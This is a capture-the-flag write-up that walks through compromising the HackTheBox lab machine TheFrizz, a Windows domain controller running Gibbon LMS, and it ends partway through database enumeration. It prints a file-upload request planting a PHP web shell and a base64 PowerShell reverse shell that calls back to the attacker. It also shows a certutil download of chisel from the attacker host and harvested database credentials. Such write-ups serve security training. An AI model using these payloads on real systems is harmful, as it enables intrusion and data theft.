### [HackTheBox | TheFrizz](https://croclius.com/hackthebox-thefrizz/)

**Published:** August 1, 2025
**Author:** croclius

**Content:**

HackTheBox machine: https://www.hackthebox.com/machines/TheFrizz

## Reconnaissance

### nmap/TCP

nmap detected a bunch of open ports which is typical for a Domain Controller:

```bash
croc@hacker$ rustscan -a 10.10.11.60 --ulimit 5000 -- -A -T5 -oA Initial  
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.60:22
Open 10.10.11.60:53
Open 10.10.11.60:80
Open 10.10.11.60:88
Open 10.10.11.60:135
Open 10.10.11.60:139
Open 10.10.11.60:389
Open 10.10.11.60:445
Open 10.10.11.60:464
Open 10.10.11.60:593
Open 10.10.11.60:636
Open 10.10.11.60:3268
Open 10.10.11.60:3269
Open 10.10.11.60:49668
Open 10.10.11.60:49670
Open 10.10.11.60:49664
Open 10.10.11.60:56803
Open 10.10.11.60:56807
Open 10.10.11.60:56817
[~] Starting Nmap
[>] The Nmap command to be run is nmap -A -T5 -oA Initial -vvv -p 22,53,80,88,135,139,389,445,464,593,636,3268,3269,49668,49670,49664,56803,56807,56817 10.10.11.60
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-21 05:58 EDT
Nmap scan report for 10.10.11.60
Host is up, received echo-reply ttl 127 (0.25s latency).
Scanned at 2025-03-21 05:59:14 EDT for 123s
PORT      STATE SERVICE       REASON          VERSION
22/tcp    open  ssh           syn-ack ttl 127 OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
80/tcp    open  http          syn-ack ttl 127 Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-title: Education — Walkerville Elementary School
|_Requested resource was http://frizzdc.frizz.htb/home/
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-03-21 16:59:26Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 127
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 127
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
56803/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
56807/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
56817/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016
OS fingerprint not ideal because: Timing level 5 (Insane) used
Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.038 days (since Fri Mar 21 05:07:11 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=255 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Hosts: localhost, FRIZZDC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 21203/tcp): CLEAN (Failed to receive data)
|   Check 2 (port 49016/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 49509/udp): CLEAN (Timeout)
|   Check 4 (port 31256/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_smb2-time: Protocol negotiation failed (SMB2)
|_smb2-security-mode: Couldn't establish a SMBv2 connection.
TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   238.21 ms 10.10.14.1
2   238.47 ms 10.10.11.60
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 137.54 seconds
           Raw packets sent: 107 (8.392KB) | Rcvd: 53 (3.060KB)
```

The hostname of the box is `FRIZZDC` so I added `FRIZZDC.frizz.htb` and `frizz.htb` into the `hosts` file.

```bash
croc@hacker$ sudo sed -i '$a10.10.11.60tFRIZZDC.frizz.htb frizz.htb' etc/hosts
```

### LDAP - 389/TCP

Anonymous LDAP lookup failed, need a valid credential.

```bash
croc@hacker$ ldapsearch -x -H ldap://frizzdc.frizz.htb -D '' -w '' -b 'DC=frizz,DC=htb'
# extended LDIF
#
# LDAPv3
# base  with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090CB6, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v4f7c
# numResponses: 1
```

### SMB - 445/TCP

No luck with null authentication. A `STATUS_NOT_SUPPORTED` error appears indicating that the type of authentication mechanism being used is not supported.

```bash
croc@hacker$ nxc smb frizzdc.frizz.htb -u '' -p '' --shares
SMB         10.10.11.60     445    10.10.11.60      [*]  x64 (name:10.10.11.60) (domain:10.10.11.60) (signing:True) (SMBv1:False)
SMB         10.10.11.60     445    10.10.11.60      [-] 10.10.11.60: STATUS_NOT_SUPPORTED 
SMB         10.10.11.60     445    10.10.11.60      [-] IndexError: list index out of range
SMB         10.10.11.60     445    10.10.11.60      [-] Error enumerating shares: Error occurs while reading from remote(104)
                                                                                                      
croc@hacker$ nxc smb frizzdc.frizz.htb -u 'guest' -p '' --shares
SMB         10.10.11.60     445    10.10.11.60      [*]  x64 (name:10.10.11.60) (domain:10.10.11.60) (signing:True) (SMBv1:False)
SMB         10.10.11.60     445    10.10.11.60      [-] 10.10.11.60guest: STATUS_NOT_SUPPORTED
```

From here, my next go-to is HTTP(80) where an Apache Web Server is running. I will start by checking out the functionality of the site and try to understand the business logic.

### HTTP - 80/TCP

#### Main Page

The IP address of the box, `10.10.11.60` redirected to `frizzdc.frizz.htb/home`. This looks like a school website for the Walkerville Elementary School.

The following looks like `base64` encoded text which may be interesting.

ChatGPT decoded it for me and it says:

Want to learn hacking but don't want to go to jail? You'll learn the in's and outs of Syscalls and XSS from the safety of international waters and iron clad contracts from your customers, reviewed by Walkerville s finest attorneys.

#### Staff Login - Gibbon LMS

On the **Staff Login Page,** I found out that the [Gibbon LMS](https://gibbonedu.org/) v25.0.00 is in use which is an open-source learning management system designed for educational institutions.

Read the Notice carefully:

*NOTICE** Due to unplanned Pentesting by students, WES is migrating applications and tools to stronger security protocols. During this transition, Ms. Fiona Frizzle will be migrating Gibbon to utilize our Azure Active Directory SSO. Please note this might take 48 hours where your accounts will not be available. Please bear with us, and thank you for your patience. Anything that can not utilize Azure AD will use the strongest available protocols such as Kerberos. 

First, we have a name that might help us guess a username. Second, I suspect NTLM authentication is disabled on this machine. Third, knowing the exact Gibbon version allows us to search for relevant CVEs.

#### Forgot Password

On the Forgot Password page, we have username validation. Following is a failed attempt where the email address tried doesn't exist.

On the other hand, trying out a bunch of different combinations for Ms. Fiona Frizzle i.e. Firstinitial Lastname or firstname.lastname, I found a valid username of `f.frizzle@frizz.htb`:

I indeed verified that using `kerbrute` as well:

```bash
croc@hacker$ echo "f.frizzle" > kerb
croc@hacker$ kerbrute userenum -d frizz.htb --dc 10.10.11.60 -o kerbrute.log ./kerb    
    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ / ___/ __ / ___/ / / / __/ _ 
 / ,  Using KDC(s):
2025/03/22 13:43:16 >  	10.10.11.60:88
2025/03/22 13:43:16 >  [+] VALID USERNAME:	 f.frizzle@frizz.htb
2025/03/22 13:43:16 >  Done! Tested 1 usernames (1 valid) in 0.417 seconds
```

Keep that intel in your back pocket for now.... At this point, I have tested all the clickable areas of the website and understood the underlying functionality. Thus, we're done with the Happy Path Testing & it's time to move on to Unhappy Path Testing.

### CVEs Enumeration - Gibbon v25.0.0

Initially, I looked for exploits for Gibbon v25.0.0 & found a [LFI exploit](https://github.com/Zer0F8th/CVE-2023-34598) but that turned out to be a rabbit hole as I didn't find anything useful in `gibbon.sql` file with that.

After that, I decided to look for vulnerabilities in higher versions and found two of them:

Reference: [NVD - CVE-2023-45878](https://nvd.nist.gov/vuln/detail/CVE-2023-45878)

Reference: [Gibbon LMS < v26.0.00 - Authenticated RCE - PHP webapps Exploit](https://www.exploit-db.com/exploits/51903)

The latter one is an authenticated RCE. Since we don't have valid credentials yet, let's set it aside for now and focus on the other exploit.

### Gibbon v25.0.1 - Arbitrary File Write(CVE-2023-45878)

This allows unauthenticated users to upload arbitrary files and eventually gain remote code execution on the underlying system.

Reference: [usd-2023-0025 - usd HeroLab](https://herolab.usd.de/security-advisories/usd-2023-0025/)

Using this PoC, I uploaded the payload `<?php echo system($_GET['cmd'])?>` to the file `croc.php` on the server. Below is the POST request and the response:

**REQUEST:**

Note that the base installation directory of Gibbon in our scenario is `Gibbon-LMS` as seen in the URL [here](#gibbon-lms "here").

```http
POST /Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php HTTP/1.1
Host: frizzdc.frizz.htb
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 105

img=image/png;croc,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKT8%2b&path=croc.php&gibbonPersonID=0000000001
```

`Content-Type: application/x-www-form-urlencoded` was added in the request headers to instruct the proper parsing of data at the backend.

**RESPONSE:**

```http
HTTP/1.1 200 OK
Date: Sat, 22 Mar 2025 17:35:34 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
Set-Cookie: G60fa1cd0af7be78b=la8egvbremc6h0jpv0g425bu8h; path=/; HttpOnly; SameSite=Lax
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Expires: Thu, 1 Jan 1970 00:00:00 GMT
Content-Length: 8
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

croc.php
```

The payload file has been successfully uploaded to the server.

And, just like that, we have Remote Code Execution(RCE) here:

## Shell as w.webservice

### Payload Generation

I used revshells.com in order to generate the following base64 encoded powershell reverse shell payload.

```bash
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMgAzADkAIgAsADgAOAA4ADgAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA
```

### Reverse Shell

I sent the powershell payload as a parameter which upon execution will return us a reverse shell.

And, here is our shell:

```bash
croc@hacker$ nc -nvlp 8888
listening on [any] 8888 ...
connect to [10.10.14.104] from (UNKNOWN) [10.10.11.60] 55731

PS C:\xampp\htdocs\Gibbon-LMS>
```

## Further Enumeration

### System Information

```bash
PS C:xampphtdocsGibbon-LMS> systeminfo
Host Name:                 FRIZZDC
OS Name:                   Microsoft Windows Server 2022 Datacenter
OS Version:                10.0.20348 N/A Build 20348
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Primary Domain Controller
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:   
Product ID:                00454-70295-72962-AA557
Original Install Date:     10/29/2024, 9:13:01 AM
System Boot Time:          4/25/2025, 10:01:14 AM
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2445 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 11/12/2020
Windows Directory:         C:Windows
System Directory:          C:Windowssystem32
Boot Device:               DeviceHarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory:     4,095 MB
Available Physical Memory: 2,587 MB
Virtual Memory: Max Size:  4,095 MB
Virtual Memory: Available: 2,529 MB
Virtual Memory: In Use:    1,566 MB
Page File Location(s):     N/A
Domain:                    frizz.htb
Logon Server:              N/A
Hotfix(s):                 N/A
Network Card(s):           1 NIC(s) Installed.
                           [01]: vmxnet3 Ethernet Adapter
                                 Connection Name: Ethernet0 2
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: 10.10.11.60
                                 [02]: fe80::ea33:d9de:c23b:2a80
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.
```

### Domain Users

```powershell
PS C:xampphtdocsGibbon-LMS> Get-ADUser -Filter * -Properties DisplayName | Select-Object SamAccountName
SamAccountName
--------------
Administrator 
Guest         
krbtgt        
f.frizzle     
w.li          
h.arm         
M.SchoolBus   
d.hudson      
k.franklin    
l.awesome     
t.wright      
r.tennelli    
J.perlstein   
a.perlstein   
p.terese      
v.frizzle     
g.frizzle     
c.sandiego    
c.ramon       
m.ramon       
w.Webservice 
```

### Domain Groups

```powershell
PS C:xampphtdocsGibbon-LMS> Get-ADGroup -Filter * | % { $g=$_.Name; $m=Get-ADGroupMember $_ -EA 0; if ($m) { "`n$g`n" + ('-'*$g.Length); $m | % Name } }
Administrators
--------------
v.frizzle
Domain Admins
Enterprise Admins
Administrator
Users
-----
Domain Users
Authenticated Users
INTERACTIVE
Guests
------
Domain Guests
Guest
IIS_IUSRS
---------
IUSR
Remote Management Users
-----------------------
M.SchoolBus
f.frizzle
Domain Controllers
------------------
FRIZZDC
Schema Admins
-------------
Administrator
Enterprise Admins
-----------------
Administrator
Domain Admins
-------------
Administrator
v.frizzle
Domain Users
------------
Administrator
krbtgt
f.frizzle
w.li
h.arm
M.SchoolBus
d.hudson
k.franklin
l.awesome
t.wright
r.tennelli
J.perlstein
a.perlstein
p.terese
v.frizzle
g.frizzle
c.sandiego
c.ramon
m.ramon
w.Webservice
Domain Guests
-------------
Guest
Group Policy Creator Owners
---------------------------
Administrator
Desktop Admins
Pre-Windows 2000 Compatible Access
----------------------------------
Authenticated Users
Windows Authorization Access Group
----------------------------------
ENTERPRISE DOMAIN CONTROLLERS
Denied RODC Password Replication Group
--------------------------------------
Read-only Domain Controllers
Group Policy Creator Owners
Domain Admins
Cert Publishers
Enterprise Admins
Schema Admins
Domain Controllers
krbtgt
Desktop Admins
--------------
M.SchoolBus
```

### Interesting Files

A configuration file named `config.php` was spotted under the base installation directory of gibbon:

```bash
PS C:xampphtdocsGibbon-LMS> dir
    Directory: C:xampphtdocsGibbon-LMS
Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
d-----         1/20/2023   6:04 AM                i18n                                                                 
d-----         1/20/2023   6:04 AM                installer                                                            
d-----         1/20/2023   6:04 AM                lib                                                                  
d-----         1/20/2023   6:04 AM                modules                                                              
d-----         1/20/2023   6:04 AM                resources                                                            
d-----         1/20/2023   6:04 AM                src                                                                  
d-----         1/20/2023   6:04 AM                themes                                                               
d-----         3/22/2025   6:46 PM                uploads                                                              
d-----         1/20/2023   6:04 AM                vendor                                                               
-a----         1/20/2023   6:04 AM            634 .htaccess                                                            
-a----         1/20/2023   6:04 AM         197078 CHANGEDB.php                                                         
-a----         1/20/2023   6:04 AM         103023 CHANGELOG.txt                                                        
-a----         1/20/2023   6:04 AM           2972 composer.json                                                        
-a----         1/20/2023   6:04 AM         294353 composer.lock                                                        
-a----        10/11/2024   8:15 PM           1307 config.php                                                           
-a----         1/20/2023   6:04 AM           3733 error.php                                                            
-a----         1/20/2023   6:04 AM           1608 export.php                                                           
-a----         1/20/2023   6:04 AM          32988 favicon.ico                                                          
-a----         1/20/2023   6:04 AM           2277 fullscreen.php                                                       
-a----         1/20/2023   6:04 AM          57535 functions.php                                                        
-a----         1/20/2023   6:04 AM           5610 gibbon.php                                                           
-a----        10/29/2024   7:27 AM         493211 gibbon.sql                                                           
-a----         1/20/2023   6:04 AM        1254473 gibbon_demo.sql                                                      
-a----         1/20/2023   6:04 AM          31228 index.php                                                            
-a----         1/20/2023   6:04 AM           2356 indexExport.php                                                      
-a----         1/20/2023   6:04 AM            813 indexFindRedirect.php                                                
-a----         1/20/2023   6:04 AM          12327 index_fastFinder_ajax.php                                            
-a----         1/20/2023   6:04 AM           2579 index_notification_ajax.php                                          
-a----         1/20/2023   6:04 AM           2767 index_notification_ajax_alarm.php                                    
-a----         1/20/2023   6:04 AM           1690 index_notification_ajax_alarmConfirmProcess.php                      
-a----         1/20/2023   6:04 AM           1647 index_notification_ajax_alarmProcess.php                             
-a----         1/20/2023   6:04 AM           1245 index_notification_ajax_alarm_tickUpdate.php                         
-a----         1/20/2023   6:04 AM           2142 index_parentPhotoDeleteProcess.php                                   
-a----         1/20/2023   6:04 AM           3549 index_parentPhotoUploadProcess.php                                   
-a----         1/20/2023   6:04 AM           2046 index_tt_ajax.php                                                    
-a----         1/20/2023   6:04 AM            753 keepAlive.php                                                        
-a----         1/20/2023   6:04 AM          35113 LICENSE                                                              
-a----         1/20/2023   6:04 AM           7589 login.php                                                            
-a----         1/20/2023   6:04 AM           1263 logout.php                                                           
-a----         1/20/2023   6:04 AM           3905 notifications.php                                                    
-a----         1/20/2023   6:04 AM           2110 notificationsActionProcess.php                                       
```

This file revealed a set of database credential - `MrGibbonsDB / MisterGibbs!Parrot!?1`.

```powershell
PS C:xampphtdocsGibbon-LMS> Get-Content config.php
.
*/
/**
 * Sets the database connection information.
 * You can supply an optional $databasePort if your server requires one.
 */
$databaseServer = 'localhost';
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parrot!?1';
$databaseName = 'gibbon';
/**
 * Sets a globally unique id, to allow multiple installs on a single server.
 */
$guid = '7y59n5xz-uym-ei9p-7mmq-83vifmtyey2';
/**
 * Sets system-wide caching factor, used to balance performance and freshness.
 * Value represents number of page loads between cache refresh.
 * Must be positive integer. 1 means no caching.
 */
$caching = 10;
```

Gibbon LMS uses `mysql` as its database backend according to its documentation:

Reference: [System Requirements | Gibbon Documentation](https://docs.gibbonedu.org/introduction/system-requirements#system-requirements)

As we know that Gibbon utilizes mysql as its backend database, it's worth checking whether mysql is running as a service here or not.

### Non-default Running Services

The following command shows all the running services other than the default ones. As per our expectation, `mysql` is running as a service here:

```powershell
PS C:xampphtdocsGibbon-LMS> Get-CimInstance -ClassName Win32_Service | Where-Object { $_.State -eq 'Running' -and $_.PathName -notlike 'C:WindowsSystem32*' } | Select-Object Name, StartName, PathName | Sort-Object Name | Format-List
Name      : ADWS
StartName : LocalSystem
PathName  : C:WindowsADWSMicrosoft.ActiveDirectory.WebServices.exe
Name      : Apache2.4
StartName : w.webservice@frizz.htb
PathName  : "C:xamppapachebinhttpd.exe" -k runservice
Name      : LSM
StartName : 
PathName  : 
Name      : mysql
StartName : w.webservice@frizz.htb
PathName  : C:xamppmysqlbinmysqld --defaults-file=C:xamppmysqlbinmy.ini mysql
Name      : VGAuthService
StartName : LocalSystem
PathName  : "C:Program FilesVMwareVMware ToolsVMware VGAuthVGAuthService.exe"
Name      : VMTools
StartName : LocalSystem
PathName  : "C:Program FilesVMwareVMware Toolsvmtoolsd.exe"
```

According to the mysql configuration file in-use here, it is utilizing the default port of `3306/tcp`:

```bash
PS C:xampphtdocsGibbon-LMS> Get-Content C:xamppmysqlbinmy.ini
# Example MySQL config file for small systems.
#
# This is for a system with little memory (<= 64M) where MySQL is only used
# from time to time and it's important that the mysqld daemon
# doesn't use much resources.
#
# You can copy this file to
# C:/xampp/mysql/bin/my.cnf to set global options,
# mysql-data-dir/my.cnf to set server-specific options (in this
# installation this directory is C:/xampp/mysql/data) or
# ~/.my.cnf to set user-specific options.
#
# In this file, you can use all long options that a program supports.
# If you want to know which options a program supports, run the program
# with the "--help" option.
# The following options will be passed to all MySQL clients
[client]
# password       = your_password 
port=3306
socket="C:/xampp/mysql/mysql.sock"
....
```

We can indeed verify that mysql is actively listening for incoming connections on `3306`:

```bash
PS C:xampphtdocsGibbon-LMS> netstat -ano | findstr 3306
  TCP    0.0.0.0:3306           0.0.0.0:0              LISTENING       2528
  TCP    [::]:3306              [::]:0                 LISTENING       2528
  UDP    0.0.0.0:63306          *:*                                    1152
```

Now, in order to access this port from our attack box, we need to do some port forwarding.

## Port Forwarding - Chisel

You might be asking, Why Chisel?? Chisel is the most viable option in this scenario as it can operate without SSH access to the target.

### Transfer to the Target

You can download the Windows version of chisel using the following commands:

```bash
wget https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_windows_amd64.gz
gzip -d chisel_1.10.1_windows_amd64.gz 
```

After that, transfer it to the target using `certutil.exe`:

```bash
PS C:xampphtdocsGibbon-LMS> certutil.exe -f -urlcache -split http://10.10.14.239/chisel_1.10.1_windows_amd64 chisel_1.10.1_windows_amd64.exe
****  Online  ****
  000000  ...
  94f000
CertUtil: -URLCache command completed successfully.
```

### Start the Server

Our aim is to do a remote port forwarding setup. Hence, we should run the chisel server on our attack box:

```bash
croc@hacker$ chisel server --socks5 --reverse -p 9090
2025/04/23 05:47:27 server: Reverse tunnelling enabled
2025/04/23 05:47:27 server: Fingerprint 5T1NL2qs/AbOUmxRyvy0ZdLv0aoTYeztTYHFtR7U5H8=
2025/04/23 05:47:27 server: Listening on http://0.0.0.0:9090
```

### Connect Back..

We are going to connect back to our chisel server as a client and forward the port `3306/tcp` on the target to `33061/tcp` on our attack box.

```bash
PS C:xampphtdocsGibbon-LMS> ./chisel_1.10.1_windows_amd64.exe client --fingerprint 5T1NL2qs/AbOUmxRyvy0ZdLv0aoTYeztTYHFtR7U5H8= 10.10.14.239:9090 R:33061:127.0.0.1:3306
```

Our tunnel has been established as seen below:

We can indeed verify it as well as we have an active connection:

```bash
croc@hacker$ ss -tulpn | grep 33061
tcp   LISTEN 0      4096                                  *:33061            *:*    users:(("chisel",pid=52843,fd=7))
```

### Connect using mysql

Now, we can connect to the database using the credentials we already have:

```bash
croc@hacker$ mysql -h 127.0.0.1 -P 33061 -u MrGibbonsDB -p'MisterGibbs!Parrot!?1' --skip-ssl
Welcome to the MariaDB monitor.  Commands end with ; or g.
Your MariaDB connection id is 1219
Server version: 10.4.32-MariaDB mariadb.org binary distribution
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Support MariaDB developers by giving a star at https://github.com/MariaDB/server
Type 'help;' or 'h' for help. Type 'c' to clear the current input statement.
MariaDB [(none)]>
```

`--skip-ssl` is used to bypass encryption checks which were causing an error.

## Shell as f.frizzle

### Database Enumeration

I went off by listing the databases and selected the `gibbon` database.

```bash
MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| gibbon             |
| information_schema |
| test               |
+--------------------+
3 rows in set (0.347 sec)
MariaDB [(none)]> use gibbon;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
```

After that, upon listing the tables, I was bombarded with 191 entries. That's exhausting, right? So, what I did instead is modify my SQL query to only return tables that have rows greater than 0. It's much better now!

```sql
MariaDB [gibbon]> select table_name, table_rows from information_schema.tables where table_schema = 'gibbon' AND table_rows > 0;
+-------------------------------+------------+
| table_name                    | table_rows |
+-------------------------------+------------+
| gibbonaction                  |        357 |
| gibbonactivity                |         99 |
| gibbonactivityslot            |         95 |
| gibbonactivitystaff           |        244 |
| gibbonalertlevel              |          3 |
| gibbonattendancecode          |          6 |
| gibboncountry                 |        240 |
| gibboncourse                  |        126 |
| gibboncourseclass             |        242 |
| gibboncourseclassperson       |       3764 |
| gibbondaysofweek              |          7 |
| gibbondepartment              |         13 |
| gibbondepartmentstaff         |        167 |
| gibbonemailtemplate           |         14 |
| gibbonexternalassessment      |          3 |
| gibbonexternalassessmentfield |        128 |
| gibbonfamily                  |        738 |
| gibbonfamilyadult             |       1448 |
| gibbonfamilychild             |        910 |
| gibbonfileextension           |         45 |
| gibbonfinancefeecategory      |          5 |
| gibbonformfield               |        104 |
| gibbonformgroup               |         19 |
| gibbonformpage                |          5 |
| gibbonhouse                   |          3 |
| gibboni18n                    |         46 |
| gibbonindescriptor            |          3 |
| gibbonlanguage                |         83 |
| gibbonlibraryitem             |         11 |
| gibbonlibrarytype             |          8 |
| gibbonlog                     |         17 |
| gibbonmedicalcondition        |         27 |
| gibbonmessenger               |         14 |
| gibbonmessengertarget         |         42 |
| gibbonmodule                  |         25 |
| gibbonnotificationevent       |         35 |
| gibbonoutcome                 |          9 |
| gibbonpermission              |        482 |
| gibbonperson                  |          1 |
| gibbonpersonaldocumenttype    |          5 |
| gibbonplannerentry            |          5 |
| gibbonreportingcriteriatype   |          2 |
| gibbonresource                |          6 |
| gibbonresourcetag             |         35 |
| gibbonrole                    |          5 |
| gibbonrubriccell              |         54 |
| gibbonrubriccolumn            |          6 |
| gibbonrubricrow               |          9 |
| gibbonscale                   |         14 |
| gibbonscalegrade              |        329 |
| gibbonschoolyear              |          2 |
| gibbonschoolyearterm          |          6 |
| gibbonsession                 |         18 |
| gibbonsetting                 |        313 |
| gibbonspace                   |         60 |
| gibbonstaff                   |        166 |
| gibbonstaffabsencetype        |          4 |
| gibbonstudentenrolment        |        391 |
| gibbonstudentnotecategory     |          4 |
| gibbonttcolumn                |          5 |
+-------------------------------+------------+
60 rows in set (0.306 sec)
```

Looking up on Google for tables where the personal information of users might be stored, I found this forum where they state `gibbonPerson` table to be the one.

Reference: [Some data is missing - Security - Gibbon Support Forum](https://ask.gibbonedu.org/t/some-data-is-missing/2151#:~:text=Personal%20data%20of%20any%20person%20is%20stored%20in%20table%20gibbonPerson.)

Let's see the structure of the `gibbonPerson` table:

```bash
MariaDB [gibbon]> DESC gibbonPerson;
+---------------------------+-------------------------------------------------------+------+-----+-------------+----------------+
| Field                     | Type                                                  | Null | Key | Default     | Extra          |
+---------------------------+-------------------------------------------------------+------+-----+-------------+----------------+
| gibbonPersonID            | int(10) unsigned zerofill                             | NO   | PRI | NULL        | auto_increment |
| title                     | varchar(5)                                            | NO   |     | NULL        |                |
| surname                   | varchar(60)                                           | NO   |     |             |                |
| firstName                 | varchar(60)                                           | NO   |     |             |                |
| preferredName             | varchar(60)                                           | NO   |     |             |                |
| officialName              | varchar(150)                                          | NO   |     | NULL        |                |
| nameInCharacters          | varchar(60)                                           | NO   |     | NULL        |                |
| gender                    | enum('M','F','Other','Unspecified')                   | NO   |     | Unspecified |                |
| username                  | varchar(20)                                           | NO   | UNI | NULL        |                |
| passwordStrong            | varchar(255)                                          | NO   |     | NULL        |                |
